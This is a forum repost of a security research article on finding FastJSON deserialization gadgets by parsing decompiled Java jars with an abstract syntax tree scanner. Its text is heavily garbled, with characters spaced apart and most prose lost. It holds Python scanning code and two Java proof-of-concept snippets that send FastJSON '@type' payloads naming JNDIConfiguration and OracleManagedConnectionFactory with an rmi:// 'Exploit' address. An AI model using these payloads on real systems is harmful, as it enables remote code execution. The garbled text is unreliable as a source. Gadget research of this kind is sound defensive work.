[14594] 2019-09-16_抽象语法树分析寻找FastJSON的Gadgets

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2019-09-16_抽象语法树分析寻找FastJSON的Gadgets F a s t J S O N G a d g e t s   d e   F r e e B u f   2 0 1 9 - 0 9 - 1 6 0 × 0 1 便 便 F a s t J S O N   g a d g e t s 0 × 0 2 F a s t J S O N   J a v a J S O N 使 F a s t J S O N   1 . 2 . 2 5 1 . 2 . 4 8 T o p   N w e b F a s t J S O N F a s t J S O N j s o n j a v a F a s t J S O N   j s o n j a v a s e t g e t s e t R C E 1 . 2 . 2 5 F a s t J S O N   c h e c k A u t o T y p e   a u t o t y p e   a u t o t y p e F a s t J S O N R C E 使 J N D I   R C E c o m . z a x x e r . h i k a r i . H i k a r i C o n f i g j a v a I n i t i a l C o n t e x t l o o k u p R C E J N D I J N D I J a v a   -   F r e e B u f · H i k a r i C o n f i g R C E 0 × 0 3 F a s t J S O N j a r j a v a j a v a A S T p o c m a v e n   ~ / . m 2 / r e p o s i t o r y j a r j a r j a v a   F a s t J S O N   j a r   c h . q o s . l o g b a c k . c o r e . d b . J N D I C o n n e c t i o n S o u r c e c o m . z a x x e r . h i k a r i . H i k a r i C o n f i g
使 F e r n F l o w e r j a v a j a r j a r T o D e c o m p i l e . j a r j a r d e c o m p d e c o m p j a r T o D e c o m p i l e . j a r 使 u n z i p   F a s t J S O N   1 . 2 . 4 1   h a s h f a s t j s o n - b l a c k l i s t F a s t J S O N h a s h A S T p y t h o n j a v a j a v a l a n g 便 j a v a 使 j a v a l a n g j a v a 便 j a v a l a n g   C o m p i l a t i o n U n i t p a c k a g e i m p o r t s t y p e s   3 P a c k a g e D e c l a r a t i o n C l a s s D e c l a r a t i o n   C l a s s D e c l a r a t i o n a n n o t a t i o n s e x t e n d s i m p l e m e n t s   j a v a   - j a r   f e r n f l o w e r . j a r   j a r T o D e c o m p i l e . j a r   d e c o m p / d e f   d e c o m p l i e r ( f i l e ) :         " " "                 : p a r a m   f i l e :         : r e t u r n :         " " "         c m d   =   " j a v a   - j a r   ~ / t o o l s / F e r n F l o w e r . j a r   "   +   f i l e   +   "     / U s e r s / x x x x x x x / s o u r c e /       >   / d e v / n u l l   2 > & 1 "         o s . s y s t e m ( c m d )         j a r _ f i l e _ n a m e   =   f i l e . s p l i t ( ' / ' ) [ - 1 ]         j a r _ f i l e _ p a t h   =   " / U s e r s / x x x x x x x / s o u r c e / "   +   j a r _ f i l e _ n a m e         t a r g e t _ d i r   =   j a r _ f i l e _ n a m e . s p l i t ( ' . ' ) [ : - 1 ]         s o u r c e _ d i r   =   ' . ' . j o i n ( t a r g e t _ d i r )         s o u r c e _ d i r   =   ' / U s e r s / x x x x x x x / s o u r c e / '   +   s o u r c e _ d i r         u n z i p _ c m d   =   " u n z i p   "   +   j a r _ f i l e _ p a t h   +   "   - d   "   +   s o u r c e _ d i r   +   "   >   / d e v / n u l l   2 > & 1 "         o s . s y s t e m ( u n z i p _ c m d )         r e t u r n   s o u r c e _ d i r p i p   i n s t a l l   j a v a l a n g i m p o r t   j a v a l a n g t r e e   =   j a v a l a n g . p a r s e . p a r s e ( " p a c k a g e   j a v a l a n g . b r e w t a b . c o m ;   c l a s s   T e s t   { } " )
I n i t i a l C o n t e x t J N D I I n i t i a l C o n t e x t F a s t J S O N c h e c k A u t o T y p e 1   C l a s s l o a d e r 2   D a t a S o u r c e     R o w S e t   3 j a v a l a n g C l a s s D e c l a r a t i o n C l a s s D e c l a r a t i o n l o o k u p   l o o k u p M e t h o d D e c l a r a t i o n M e t h o d I n v a c t i o n l o o k u p M e t h o d D e c l a r a t i o n M e t h o d I n v a c t i o n l o o k u p l o o k u p #   i f   " I n i t i a l C o n t e x t ( "   n o t   i n   _ c o n t e n t s :         r e t u r n   F a l s e d e f   g e t _ c l a s s _ d e c l a r a t i o n ( r o o t ) :         " " "                 : p a r a m   r o o t :         : r e t u r n :         " " "         c l a s s _ l i s t   =   [ ]         b l a c k _ i n t e r f a c e   =   ( " D a t a S o u r c e " ,   " R o w S e t " )         f o r   n o d e   i n   r o o t . t y p e s :                 #                   i f   i s i n s t a n c e ( n o d e ,   C l a s s D e c l a r a t i o n )   i s   F a l s e :                         c o n t i n u e                 #   c l a s s l o a d e r                 i f   n o d e . e x t e n d s   i s   n o t   N o n e   a n d   n o d e . e x t e n d s . n a m e   = =   " C l a s s L o a d e r " :                         c o n t i n u e                 #                   i n t e r f a c e _ f l a g   =   F a l s e                 i f   n o d e . i m p l e m e n t s   i s   N o n e :                         n o d e . i m p l e m e n t s   =   [ ]                 f o r   i m p l e m e n t   i n   n o d e . i m p l e m e n t s :                         i f   i m p l e m e n t . n a m e   i n   b l a c k _ i n t e r f a c e :                                 i n t e r f a c e _ f l a g   =   T r u e                                 b r e a k                 i f   i n t e r f a c e _ f l a g   i s   T r u e :                         c o n t i n u e                 #                   c o n s t r u c t o r _ f l a g   =   F a l s e                 f o r   c o n s t r u c t o r _ d e c l a r a t i o n   i n   n o d e . c o n s t r u c t o r s :                         i f   l e n ( c o n s t r u c t o r _ d e c l a r a t i o n . p a r a m e t e r s )   = =   0 :                                 c o n s t r u c t o r _ f l a g   =   T r u e                                 b r e a k                 i f   c o n s t r u c t o r _ f l a g   i s   F a l s e :                         c o n t i n u e                 c l a s s _ l i s t . a p p e n d ( n o d e )         r e t u r n   c l a s s _ l i s t d e f   a c k ( m e t h o d _ n o d e ) :         " " "         1 l o o k u p           2 l o o k u p         3 l o o k u p
0 × 0 4 4 8 7 j a r 5 w + 4 5 s o u r c e / c o m m o n s - c o n f i g u r a t i o n - 1 . 9 / o r g / a p a c h e / c o m m o n s / c o n f i g u r a t i o n / J N D I C o n f i g u r a t i o n . j a v a   c o n t a i n s K e y s o u r c e / c o m m o n s - c o n f i g u r a t i o n - 1 . 9 / o r g / a p a c h e / c o m m o n s / c o n f i g u r a t i o n / J N D I C o n f i g u r a t i o n . j a v a   g e t P r o p e r t y s o u r c e / H i k a r i C P - 3 . 3 . 1 / c o m / z a x x e r / h i k a r i / H i k a r i C o n f i g . j a v a   g e t O b j e c t O r P e r f o r m J n d i L o o k u p s o u r c e / o j d b c 1 4 - 1 0 . 2 . 0 . 2 / o r a c l e / j d b c / c o n n e c t o r / O r a c l e M a n a g e d C o n n e c t i o n F a c t o r y . j a v a   s e t u p X A D a t a S o u r c e s o u r c e / x a l a n - 2 . 7 . 2 / o r g / a p a c h e / x a l a n / l i b / s q l / J N D I C o n n e c t i o n P o o l . j a v a   f i n d D a t a s o u r c e 4 H i k a r i C o n f i g J N D I C o n n e c t i o n P o o l 4 2 J N D I C o n f i g u r a t i o n   O r a c l e M a n a g e d C o n n e c t i o n F a c t o r y p o c J N D I C o n f i g u r a t i o n   P O C : O r a c l e M a n a g e d C o n n e c t i o n F a c t o r y   P O C :         3 l o o k u p         : p a r a m   m e t h o d _ n o d e :         : r e t u r n :         " " "         t a r g e t _ v a r i a b l e s   =   [ ]         f o r   p a t h ,   n o d e   i n   m e t h o d _ n o d e :                 #   l o o k u p                   i f   i s i n s t a n c e ( n o d e ,   M e t h o d I n v o c a t i o n )   a n d   n o d e . m e m b e r   = =   " l o o k u p " :                         #                           i f   l e n ( n o d e . a r g u m e n t s )   ! =   1 :                                 c o n t i n u e                         #                           a r g   =   n o d e . a r g u m e n t s [ 0 ]                         i f   i s i n s t a n c e ( a r g ,   C a s t ) :         #                                     t a r g e t _ v a r i a b l e s . a p p e n d ( a r g . e x p r e s s i o n . m e m b e r )                         i f   i s i n s t a n c e ( a r g ,   M e m b e r R e f e r e n c e ) :     #                                   t a r g e t _ v a r i a b l e s . a p p e n d ( a r g . m e m b e r )                         i f   i s i n s t a n c e ( a r g ,   T h i s ) :               #   t h i s . n a m e                                   r e t u r n   T r u e         i f   l e n ( t a r g e t _ v a r i a b l e s )   = =   0 :                 r e t u r n   F a l s e         #   l o o k u p         f o r   p a r a m e t e r   i n   m e t h o d _ n o d e . p a r a m e t e r s :                 i f   p a r a m e t e r . n a m e   i n   t a r g e t _ v a r i a b l e s :                         r e t u r n   T r u e         r e t u r n   F a l s e       s t a t i c   v o i d   f a s t j s o n ( ) {                 S t r i n g   j s o n ;                 j s o n   =   " { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . c o n f i g u r a t i o n . J N D I C o n f i g u r a t i o n " , " p r e f i x " : " r m i : / / 1 2 7 . 0 . 0 . 1 : 1 3 8 9 / E x p l o i t " } " ;                 O b j e c t   o b j e c t   =   J S O N . p a r s e O b j e c t ( j s o n ) ;                 S y s t e m . o u t . p r i n t l n ( " t y p e : " +   o b j e c t . g e t C l a s s ( ) . g e t N a m e ( )   + "   " +   o b j e c t ) ;         }     s t a t i c   v o i d   f a s t j s o n ( ) {                 S t r i n g   j s o n ;                 j s o n   =   " { " @ t y p e " : " o r a c l e . j d b c . c o n n e c t o r . O r a c l e M a n a g e d C o n n e c t i o n F a c t o r y " , " x a D a t a S o u r c e N a m e " : " r m i : / / 1 2 7 . 0 . 0 . 1 : 1 3 8 9 / E x p l o i t " } " ;                 O b j e c t   o b j e c t   =   J S O N . p a r s e O b j e c t ( j s o n ) ;
g i t h u b f a s t j s o n _ g a d g e t s _ s c a n n e r 0 × 0 5 h t t p s : / / s r c i n c i t e . i o / b l o g / 2 0 1 9 / 0 8 / 0 7 / a t t a c k i n g - u n m a r s h a l l e r s - j n d i - i n j e c t i o n - u s i n g - g e t t e r - b a s e d - d e s e r i a l i z a t i o n . h t m l h t t p s : / / b 1 u e . c n / a r c h i v e s / 2 0 1 . h t m l h t t p s : / / t h e . b y t e c o d e . c l u b / f e r n f l o w e r . t x t * d e F r e e B u f                 O b j e c t   o b j e c t   =   J S O N . p a r s e O b j e c t ( j s o n ) ;                 S y s t e m . o u t . p r i n t l n ( " t y p e : " +   o b j e c t . g e t C l a s s ( ) . g e t N a m e ( )   + "   " +   o b j e c t ) ;         }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则